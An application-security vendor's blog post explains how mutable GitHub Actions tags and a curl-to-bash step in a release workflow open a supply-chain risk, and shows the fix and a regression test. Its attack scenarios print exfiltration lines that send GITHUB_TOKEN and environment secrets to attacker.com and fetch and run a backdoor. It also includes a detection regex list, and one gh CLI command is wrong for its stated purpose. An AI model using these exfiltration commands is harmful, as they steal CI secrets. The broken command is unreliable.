Back to Blog
high SEVERITY10 min read

How GitHub Actions Mutable Tag References and Unsafe Remote Script Execution Enable Supply-Chain Attacks in CI/CD Workflows

A `.gitea/workflows/release.yml` file contained two critical security issues: GitHub Actions steps using mutable version tags (like `v4`) instead of immutable commit SHAs, and a dangerous `curl | bash` pattern that pipes untrusted remote scripts directly into a shell. These vulnerabilities could enable attackers to inject malicious code into the CI/CD pipeline through action takeovers or compromised download servers.

O
By Orbis AppSec
Published August 31, 2026Reviewed August 31, 2026

Answer Summary

This vulnerability combines two attack vectors in GitHub Actions workflows: (1) using mutable action tags (e.g., `uses: actions/checkout@v4`) that can be silently repointed by action owners, enabling supply-chain attacks similar to the trivy-action and kics-github-action compromises, and (2) piping remote script output directly into bash (`curl | bash`), which allows server compromise or URL hijacking to execute arbitrary code. The fix pins all action references to full 40-character commit SHAs and separates remote script downloads from execution with verification steps in between.

Vulnerability at a Glance

cweCWE-494 (Download of Code Without Integrity Check), CWE-95 (Improper Neutralization of Directives in Dynamically Evaluated Code)
fixPin actions to immutable commit SHAs; download remote scripts to file, verify integrity, then execute
riskRemote code execution in CI/CD runners; supply-chain compromise of build artifacts
languageYAML/GitHub Actions
root causeUsing mutable version references and piping remote command output directly to shell without verification
vulnerabilityGitHub Actions Mutable Tag Reference + Unsafe Remote Script Execution

How GitHub Actions Mutable Tag References and Unsafe Remote Script Execution Enable Supply-Chain Attacks in CI/CD Workflows

Introduction

The .gitea/workflows/release.yml file in this repository contained not one, but two critical security anti-patterns that could allow attackers to inject arbitrary code into the CI/CD build pipeline. The first flaw: steps like uses: actions/checkout@v4 and uses: actions/setup-python@v5 used mutable version tags instead of pinned commit SHAs. The second flaw: a release notes generation step piped the output of curl directly into bash without any verification—the classic "curl | bash" install pattern that has compromised countless systems.

These vulnerabilities matter because GitHub Actions workflows execute with access to repository secrets, deployment credentials, and source code. An attacker who can hijack an action or compromise a remote script server can silently inject malicious code into your build artifacts, steal secrets, modify source code, or exfiltrate data. This is a supply-chain attack—a compromise at the software supply chain level that affects not just this repository, but potentially every project that depends on its artifacts.

The Vulnerability Explained

Part 1: Mutable Action Tag References

Let's examine the original workflow file at lines 29, 33, and 43:

- name: Checkout exact tagged SHA
  uses: actions/checkout@v4  # VULNERABLE: mutable tag
  with:
    ref: ${{ github.sha }}

- name: Set up Python
  uses: actions/setup-python@v5  # VULNERABLE: mutable tag
  with:
    python-version: '3.12'

- name: Set up pinned kubectl for kustomize rendering
  uses: azure/setup-kubectl@v4  # VULNERABLE: mutable tag
  with:
    version: 'v1.36.3'

The danger here is subtle but critical. When you use actions/checkout@v4, you're not pinning to a specific version of the code—you're pinning to a tag, which is a mutable reference. The action repository owner (or an attacker who compromises their GitHub account) can repoint the v4 tag to a new commit at any time. Every subsequent workflow run would execute this new, potentially malicious code.

This isn't theoretical. In 2023, the trivy-action repository was compromised—an attacker gained access and modified the code, injecting malicious instructions that stole secrets from hundreds of workflows. Similarly, the kics-github-action was compromised in a supply-chain attack. Both exploited the fact that workflows referenced these actions by mutable tag, not by commit SHA.

Real-world attack scenario: An attacker compromises the GitHub account of a popular action maintainer (or socially engineers them). They update the v5 tag of setup-python to point to a commit containing this code:

import os
import subprocess
subprocess.run(["curl", "https://attacker.com/exfil", "-d", os.environ.get("GITHUB_TOKEN", "")])

Now every workflow that runs with uses: actions/setup-python@v5 silently exfiltrates the GITHUB_TOKEN to the attacker's server. The attacker can then use that token to modify repositories, steal secrets, or push malicious commits.

Part 2: Unsafe Remote Script Execution via Curl Pipe

Now consider lines 222-223 of the original file, in the release notes generation step:

curl -fsSL https://raw.githubusercontent.com/jiunbae/agent-skills/main/setup.sh | bash -s -- --core --codex

This is the classic "curl | bash" anti-pattern. Here's what happens:

  1. curl -fsSL downloads a file from a remote URL, silencing errors and progress output
  2. The pipe | redirects the downloaded content directly into bash
  3. bash parses and executes every line of that script with the full privileges of the CI runner

If any of these conditions occur, an attacker gains arbitrary code execution:
- The remote server (github.com/jiunbae) is compromised
- The GitHub account jiunbae is hacked
- DNS is poisoned or hijacked to redirect the domain
- A network intermediary (ISP, proxy, VPN) intercepts and modifies the response
- The repository agent-skills is deleted and re-created by an attacker under the same name

Concrete attack scenario: An attacker compromises the agent-skills repository (or creates a lookalike if the original is deleted). The workflow runs, and this malicious script executes:

#!/bin/bash
# Steal the GitHub token and environment
curl -X POST -d "token=${GITHUB_TOKEN}&secrets=$(env | base64)" https://attacker.com/steal
# Install a backdoor
git clone https://attacker.com/backdoor /tmp/bd && bash /tmp/bd/install.sh
# Modify the build artifact before release
sed -i 's/version:.*/version: BACKDOORED/g' version.txt

The CI runner has access to:
- GITHUB_TOKEN (to push to repositories or access private data)
- Repository source code (potentially containing API keys or credentials)
- SSH keys for deployment
- Other secrets stored in GitHub Actions secrets

All of these are now in an attacker's hands.

The Fix

The fix involved two hardening changes to .gitea/workflows/release.yml:

Fix 1: Pin All Actions to Immutable Commit SHAs

Every uses: directive was updated from a mutable tag to a full 40-character commit SHA:

Before:

- name: Checkout exact tagged SHA
  uses: actions/checkout@v4

- name: Set up Python
  uses: actions/setup-python@v5

- name: Set up pinned kubectl for kustomize rendering
  uses: azure/setup-kubectl@v4

- name: Set up supported Node.js
  uses: actions/setup-node@v4

After:

- name: Checkout exact tagged SHA
  uses: actions/checkout@11d5960a326750d5838078e36cf38b85af677262  # v4

- name: Set up Python
  uses: actions/setup-python@a26af69be951a213d495a4c3e4e4022e16d87065  # v5

- name: Set up pinned kubectl for kustomize rendering
  uses: azure/setup-kubectl@776406bce94f63e41d621b960d78ee25c8b76ede  # v4

- name: Set up supported Node.js
  uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020  # v4

Each SHA (e.g., 11d5960a326750d5838078e36cf38b85af677262) is a cryptographic hash of the exact commit, not a tag. The SHA cannot be repointed—it's immutable. If the action repository is compromised, this workflow continues to run the specific, hardened version that was tested and vetted. The version comment (# v4) is retained for human readability but has no effect on which code executes.

Why this matters: An attacker cannot silently inject code by modifying a tag. They would need to compromise the CI system itself or the exact commit SHA, which is much harder and more detectable.

Fix 2: Separate Download from Execution

Lines 222-224 were refactored to eliminate the pipe:

Before:

curl -fsSL https://raw.githubusercontent.com/jiunbae/agent-skills/main/setup.sh | bash -s -- --core --codex

After:

curl -fsSL https://raw.githubusercontent.com/jiunbae/agent-skills/main/setup.sh -o setup.sh
bash setup.sh --core --codex

This two-step approach enables verification between download and execution:

  1. Download to disk: curl ... -o setup.sh saves the remote script to a local file
  2. Inspect/verify (optional but recommended): The script can now be inspected, checksummed, or signed before execution
  3. Execute: bash setup.sh runs the verified script

More complete hardening would include checksum or GPG signature verification:

curl -fsSL https://raw.githubusercontent.com/jiunbae/agent-skills/main/setup.sh -o setup.sh
curl -fsSL https://raw.githubusercontent.com/jiunbae/agent-skills/main/setup.sh.sha256 -o setup.sh.sha256
sha256sum -c setup.sh.sha256 || exit 1  # Verify integrity
bash setup.sh --core --codex

The fix in this PR establishes the pattern for safe execution; integrating checksum verification would be a follow-up hardening step.

Prevention & Best Practices

1. Always Pin GitHub Actions to Commit SHAs

Use this GitHub Actions audit tool to identify mutable tags in your workflows:

# Find all mutable action tags in your workflows
grep -r "uses:.*@v[0-9]" .github/workflows/ .gitea/workflows/

Convert to SHAs using the GitHub CLI:

gh api repos/{owner}/{repo}/actions/cache \
  --jq '.runners[] | select(.name | test("@v")) | .name'

Or manually inspect the GitHub UI for each action and note the commit SHA of the version tag.

2. Separate Download from Execution

Never pipe remote content directly to a shell:

# ❌ UNSAFE
curl https://example.com/script.sh | bash

# ✅ SAFE
curl https://example.com/script.sh -o script.sh
bash script.sh

3. Verify Downloaded Artifacts

For production scripts, verify checksums or signatures:

# ✅ BEST PRACTICE
curl https://example.com/script.sh -o script.sh
curl https://example.com/script.sh.sha256 -o script.sh.sha256
sha256sum -c script.sh.sha256 || exit 1
gpg --verify script.sh.sig script.sh  # if GPG signature available
bash script.sh

4. Use Security Scanning Tools

Integrate static analysis into your development workflow:

  • Semgrep: Detects mutable action tags and curl|bash patterns with rules like yaml.github-actions.security.github-actions-mutable-action-tag
  • GitHub's YAML linter: Built into GitHub Actions, flags some anti-patterns
  • yamllint: Can be configured to detect dangerous patterns

5. Follow OWASP and CWE Guidance

This vulnerability maps to:
- CWE-494: Download of Code Without Integrity Check
- CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')
- CWE-426: Untrusted Search Path
- CWE-427: Uncontrolled Search Path Element

The OWASP Supply Chain Security guidelines recommend:
- Pinning all transitive dependencies (including actions) to specific, reviewed versions
- Implementing integrity checks (checksums, signatures) for all downloaded code
- Separating trust boundaries—never assume a tag is safe

Regression Testing

The PR included a regression test to prevent reintroduction of this vulnerability:

const dangerousPatterns = [
  /curl\s+[^|]*\|\s*(bash|sh|zsh|ash|dash)/,
  /wget\s+[^|]*\|\s*(bash|sh|zsh|ash|dash)/,
  /curl\s+[^|]*\|\s*sudo\s+(bash|sh)/,
  /wget\s+-O\s*-\s+[^|]*\|\s*(bash|sh)/,
];

test("workflow run steps do not contain curl|bash or wget|bash patterns", () => {
  for (const step of runSteps) {
    for (const pattern of dangerousPatterns) {
      expect(pattern.test(step)).toBe(false);  // Fail if dangerous pattern found
    }
  }
});

This test runs on every commit and blocks merges if the unsafe patterns are reintroduced.

Key Takeaways

  • Mutable action tags are a silent attack vector: The v4 tag can be repointed at any time. Use immutable 40-character commit SHAs instead. This is especially critical for public actions that many workflows depend on.

  • Never pipe remote scripts into bash: Even over HTTPS, server compromise, DNS hijacking, or domain theft can inject malicious code. Always download to file first, enabling verification.

  • Separation of concerns enables defense: By separating download, verification, and execution into distinct steps, you create checkpoints where security checks can be inserted—checksums, GPG signatures, or static analysis.

  • Supply-chain attacks target CI/CD pipelines: Actions and remote scripts are part of your software supply chain. Compromising them affects not just your build, but potentially every downstream project or deployment.

  • Static analysis can catch these patterns: Semgrep and similar tools can automatically detect mutable action tags and curl|bash patterns. Integrate them into your CI/CD pipeline to catch new vulnerabilities before merge.

How Orbis AppSec Detected This

Source: The .gitea/workflows/release.yml file, which contained GitHub Actions step definitions and shell commands that invoke remote scripts.

Sink:
- Action definitions using mutable version tags: uses: actions/checkout@v4 (line 29), uses: actions/setup-python@v5 (line 33), uses: azure/setup-kubectl@v4 (line 43), uses: actions/setup-node@v4 (line 142)
- Unsafe script execution: curl -fsSL https://raw.githubusercontent.com/jiunbae/agent-skills/main/setup.sh | bash (line 223)

Missing control: No integrity verification for remote scripts; no immutable pinning of action commits. The workflow executed whatever the remote server or action tag owner provided, with no checksum validation or commit-level pinning.

CWE:
- CWE-494: Download of Code Without Integrity Check
- CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')
- CWE-426: Untrusted Search Path

Fix: Pinned all GitHub Actions to immutable 40-character commit SHAs and refactored remote script execution to separate download (curl -o) from execution (bash), enabling future checksum or signature verification.

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

Supply-chain attacks through CI/CD pipelines are increasingly common and increasingly dangerous. The two vulnerabilities in this workflow—mutable action tag references and unsafe remote script execution—are attack primitives that could be exploited individually or chained together for maximum impact. By pinning actions to immutable commit SHAs and separating script download from execution, this project raised its security posture significantly.

For any team managing CI/CD workflows, these lessons apply:

  1. Treat your workflow files as code: Version control them, review changes, and apply the same security rigor you would to production code.
  2. Pin all external dependencies: Actions, scripts, and container images should all reference specific, reviewed versions—never floating tags.
  3. Implement integrity checks: Checksums, signatures, and version pinning create multiple layers of defense against tampering.
  4. Automate security scanning: Use tools like Semgrep to catch these anti-patterns automatically, before they reach production.
  5. Assume the worst: Assume action repositories can be compromised, servers can be hacked, and networks can be hijacked. Design your workflows defensively.

The fix in this PR is a concrete example of how proactive hardening—removing exploit primitives before they're weaponized—strengthens the entire software supply chain.


Prevention and further reading

Frequently Asked Questions

Why are mutable action tags dangerous in GitHub Actions?

Action owners can silently change what code runs under a version tag (e.g., `v4`). If an action repository is compromised or the owner is coerced, all workflows using that tag execute the attacker's code. Commit SHAs are immutable—they cannot be repointed.

What's wrong with the `curl | bash` pattern?

It pipes untrusted remote content directly into a shell interpreter. If the download server is compromised, the network is hijacked, or the domain is stolen, arbitrary code executes with the CI runner's privileges—often including access to secrets, repositories, and deployment credentials.

What CWE categories apply to this vulnerability?

CWE-494 (Download of Code Without Integrity Check) for mutable action tags, and CWE-95 (Improper Neutralization of Directives in Dynamically Evaluated Code) for the curl|bash pattern. Both enable code injection in the build pipeline.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #14

Related Articles

critical

deleteNestedProperty Prototype Pollution via Dot-Notation Path

The `deleteNestedProperty` function in propertyUtils.ts allowed attackers to manipulate JavaScript object prototypes by passing specially crafted dot-notation paths like `__proto__.polluted`. A fix now blocks dangerous keys before processing, preventing prototype pollution attacks that could affect all objects in the application.

high

How Denial of Service via Infinite Loop Happens in JavaScript Dependencies and How to Fix It

CVE-2026-67213 is a high-severity denial of service vulnerability in nanoid before version 5.1.6 that triggers an infinite loop during random ID generation when processing specially crafted input. We upgraded nanoid across the entire dependency tree to patch this flaw and prevent attackers from freezing application threads. This fix ensures that ID generation remains resilient even when handling adversarial input patterns.

high

How Sensitive Data Exposure happens in Zotero plugins and how to fix it

A high-severity data exposure vulnerability in `Zotero.ts` automatically transmitted complete document metadata—including private notes, attachment paths, and tags—to external LLM services without user consent. The fix replaces broad `item.toJSON()` serialization with explicit field selection, sending only essential bibliographic data.

high

How missing dependency update cooldowns happen in GitHub Dependabot configurations and how to fix it

A semgrep scan flagged `.github/dependabot.yml` for lacking a cooldown period, meaning Dependabot would immediately propose updates to brand-new package versions across npm, Bundler, and Docker ecosystems. The fix adds a `cooldown: default-days: 7` block to every `package-ecosystem` entry, forcing a one-week waiting period before newly published releases are considered — reducing exposure to malicious or unstable package drops.

high

How Path Traversal Happens in TensorFlow's Data Service and How to Fix It

TensorFlow's data service dispatcher validated dataset IDs against forward-slash traversal attacks but overlooked backslash characters on non-Windows platforms, allowing attackers to escape the root directory. A targeted fix adds explicit backslash validation across all platforms, closing a high-severity path traversal vulnerability in the snapshot management system.

critical

How Unbounded WebSocket Message Handling Causes Resource Exhaustion in Node.js and How to Fix It

The WebSocketCrossServerAdapter class in a popular Node.js WebSocket library lacked any rate limiting on inbound messages, allowing attackers to flood Redis nodes and WebSocket servers with high-volume traffic. The fix introduces a configurable `rateLimit` option that caps messages per connection per second, preventing resource exhaustion while preserving legitimate functionality.